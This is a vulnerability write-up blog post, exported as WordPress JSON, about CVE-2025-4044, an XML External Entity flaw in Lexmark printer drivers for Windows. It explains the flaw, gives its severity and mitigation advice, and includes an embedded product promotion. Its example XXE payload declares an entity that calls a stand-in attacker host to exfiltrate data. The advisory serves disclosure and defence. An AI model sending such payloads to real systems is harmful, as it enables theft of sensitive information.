{"id":64297,"date":"2025-08-24T22:18:13","date_gmt":"2025-08-24T22:18:13","guid":{"rendered":""},"modified":"2025-09-11T23:35:44","modified_gmt":"2025-09-12T05:35:44","slug":"cve-2025-4044-critical-information-disclosure-vulnerability-in-lexmark-printer-drivers","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-4044-critical-information-disclosure-vulnerability-in-lexmark-printer-drivers\/","title":{"rendered":"<strong>CVE-2025-4044: Critical Information Disclosure Vulnerability in Lexmark Printer Drivers<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity landscape is under a constant threat from various vulnerabilities, and the recently discovered CVE-2025-4044 is no exception. This vulnerability affects numerous Lexmark Printer drivers for Windows and has been identified to cause significant security issues. The problem lies in the improper restriction of XML External Entity (XXE) reference, which could potentially allow an attacker to disclose sensitive <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30327-integer-overflow-vulnerability-in-incopy-leading-to-potential-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"73709\">information<\/a> to an arbitrary URL. This vulnerability doesn&#8217;t just affect individual users but can potentially impact any organization that uses these <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47982-improper-input-validation-vulnerability-in-windows-storage-vsp-driver-leading-to-privilege-escalation\/\"  data-wpil-monitor-id=\"75545\">Lexmark printer<\/a> drivers. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53546-high-severity-vulnerability-in-folo-s-github-workflow\/\"  data-wpil-monitor-id=\"73446\">severity of this vulnerability<\/a> is highlighted by its high CVSS severity score, making it a substantial cybersecurity concern.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-4044<br \/>\nSeverity: High (8.2 CVSS score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: Confidentiality Impact (<a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42976-memory-corruption-and-information-disclosure-in-sap-netweaver-application-server-abap\/\"  data-wpil-monitor-id=\"74376\">Disclosure of sensitive information<\/a>)<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3702826465\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>Lexmark Printer Driver | All versions up to and including the current<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit primarily targets the XML parsing <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49661-untrusted-pointer-dereference-vulnerability-in-windows-ancillary-function-driver-for-winsock\/\"  data-wpil-monitor-id=\"80382\">functionality of the affected Lexmark printer drivers<\/a>. An attacker could craft and send a specially formatted XML document that includes an entity declaration with a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6079-arbitrary-file-upload-vulnerability-in-school-management-system-for-wordpress-plugin\/\"  data-wpil-monitor-id=\"80611\">system identifier pointing to an arbitrary<\/a> URL. When the XML parser processes the document, it may dereference the entity, leading to the disclosure of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30105-sensitive-information-leak-in-dell-xtremio\/\"  data-wpil-monitor-id=\"80897\">sensitive information<\/a> to the specified URL.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1961961264\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>This is a conceptual example of how the vulnerability might be exploited. This example represents an XML document with an entity declaration pointing to an arbitrary URL:<\/p>\n<pre><code class=\"\" data-line=\"\">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;\n&lt;!DOCTYPE foo [\n&lt;!ELEMENT foo ANY &gt;\n&lt;!ENTITY xxe SYSTEM &quot;http:\/\/attacker.com\/collect.php?data=...&quot; &gt;]&gt;\n&lt;foo&gt;&amp;xxe;&lt;\/foo&gt;<\/code><\/pre>\n<p>In this example, the XML parser would attempt to replace the entity `&xxe;` with the content found at the URL specified in the entity declaration. If the parser is configured to process entities from untrusted sources, it may send <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7654-sensitive-information-exposure-in-multiple-funnelkit-plugins\/\"  data-wpil-monitor-id=\"81841\">sensitive information<\/a> to the attacker-controlled URL.<\/p>\n<p><strong>Recommended Mitigation<\/strong><\/p>\n<p>The best course of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7734-critical-gitlab-ce-ee-vulnerability-allows-unauthorized-actions-by-attackers\/\"  data-wpil-monitor-id=\"79498\">action to mitigate this vulnerability<\/a> is to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These solutions can be configured to detect and prevent the processing of malicious XML documents, effectively reducing the risk of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53787-microsoft-365-copilot-bizchat-information-disclosure-vulnerability\/\"  data-wpil-monitor-id=\"82264\">information disclosure<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity landscape is under a constant threat from various vulnerabilities, and the recently discovered CVE-2025-4044 is no exception. This vulnerability affects numerous Lexmark Printer drivers for Windows and has been identified to cause significant security issues. The problem lies in the improper restriction of XML External Entity (XXE) reference, which could potentially allow [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[82],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-64297","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-microsoft"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64297","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=64297"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64297\/revisions"}],"predecessor-version":[{"id":74776,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64297\/revisions\/74776"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=64297"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=64297"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=64297"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=64297"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=64297"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=64297"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=64297"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=64297"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=64297"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}